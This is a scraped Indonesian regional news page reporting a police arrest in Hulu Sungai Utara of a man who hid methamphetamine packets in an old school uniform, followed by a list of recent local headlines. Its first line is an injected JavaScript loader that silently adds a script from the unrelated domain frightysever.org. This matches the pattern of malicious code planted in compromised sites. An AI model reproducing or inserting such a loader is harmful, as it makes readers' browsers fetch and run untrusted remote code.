(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HSU

Selipkan Sabu di Bekas Seragam Sekolah, ZH Dibekuk Polisi


KANALKALIMANTAN.COM, AMUNTAI – Satuan Reserse Narkoba (Sat Resnarkoba) Polres Hulu Sungai Utara (HSU) membekuk ZH (23) yang kedapatan simpan tiga paket sabu 1,03 gram.

Pemilik gelar akademis sarjana sosial ini berhasil diamankan Sat Resnarkoba Polres HSU di rumahnya jalan Keramat RT 003 RW 002 Desa Tangga Ulin Hilir, Kecamatan Amuntai Tengah, Kabupaten HSU, Senin (19/4/2021) sekitar pukul 05.00 Wita.

Kapolres HSU AKBP Afri Darmawan, SIK MH, melalui Kasat Resnarkoba Iptu Siswadi, kepada Kanalkalimantan.com, Selasa (20/4/2021) membenarkan penangkapan terhadap pelaku ZH saat menjalankan Program HSU Bersinar (Bersih dari Narkoba)
Bermodal informasi masyarakat, pihaknya melakukan penyelidikan dan hasilnya pelaku diringkus polisi menyimpan toga paket narkotika jenis sabu dengan berat 1,03 gram -berat bersih 0,40 gram-.

Baju bekas seragam sekolah tempat menyimpan sabu. Foto: sat resnarkoba polres hsu

 

Baca juga: Janji ‘Hidupkan’ Mess L, Ganti Stadion Banjarbaru!

“Saat penggeledahan, ditemukan satu paket narkotika yang disimpan dalam kamar, tepatnya di kantong depan baju seragam bekas sekolah yang sudah penuh corat-coret milik pelaku,” jelas Kasatresnakoba Polres HSU.

Dua paket sabu lainnya ditemukan di dalam rumah, di atas lantai tepatnya dalam kotak kecil warna putih terbungkus tisu, beserta sebuah timbangan digital. Polisi juga mengamankan barang bukti lainnya, sebuah handphone android.

Baca juga: BREAKING NEWS. Kebakaran di Mawar Banjarmasin, 3 Rumah Hangus dan 1 Relawan Terluka.

Terkait asal usul barang haram tersebut, Kasat Resnarkoba Polres HSU ini mengaku masih melakukan penyelidikan lebih lanjut.
Pelaku bersama barang bukti digelandang ke ruangan Sat Resnarkoba Polres HSU guna proses penyidikan lebih lanjut sesuai dalam pasal 114 ayat 1 atau 112 ayat 1 UU RI Nomor 35 tahun 2009 tentang narkotika. (kanalkalimantan.com/dew)

Reporter: dew
Editor: bie


Al Ghifari

Recent Posts

Dua Hari Kunjungan Khusus di Lapas Banjarbaru saat Momen Lebaran

KANALKALIMANTAN.COM, BANJARBARU - Libur Lebaran Idulfitri menjadi momen spesial satu tahun sekali yang dilaksanakan oleh… Read More

8 jam ago

Ada Peristiwa Tertinggal saat Rekontruksi Pembunuhan Juwita, Begini Kata Tim Kuasa Hukum

KANALKALIMANTAN.COM, BANJARBARU - Reka adegan atau rekontruksi pembunuhan berencana yang dilakukan Jumran, anggota TNI AL… Read More

23 jam ago

Hadapi Porprov XII Kalsel, PBSI Balangan Gelar Seleksi Atlet

KANALKALIMANTAN.COM, PARINGIN - Pengurus Kabupaten (Pengkab) Persatuan Bulutangkis Seluruh Indonesia (PBSI) Balangan menggelar seleksi atlet… Read More

1 hari ago

Reka Adegan Jumran Habisi Juwita, Dipiting Lalu Dicekik

KANALKALIMANTAN.COM, BANJARBARU - Jumran melakukan reka adegan pembunuhan berencana yang dilakukan kepada Juwita, seorang jurnalis… Read More

1 hari ago

Dinsos Kalsel Salurkan Bantuan Banjir di Desa Pondok Babaris, Ini Kata Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Sinergisitas antara Pemerintah Kabupaten Hulu Sungai Utara dengan Pemerintah Provinsi Kalimantan Selatan… Read More

2 hari ago

Kuasa Hukum Ungkap Kronologi Indikasi Rudapaksa hingga Terbunuhnya Juwita di Tangan Jumran

KANALKALIMANTAN.COM, BANJARBARU – Fakta terbaru terkait dugaan rudapaksa oleh tersangka Jumran, anggota TNI Angkatan Laut… Read More

2 hari ago

This website uses cookies.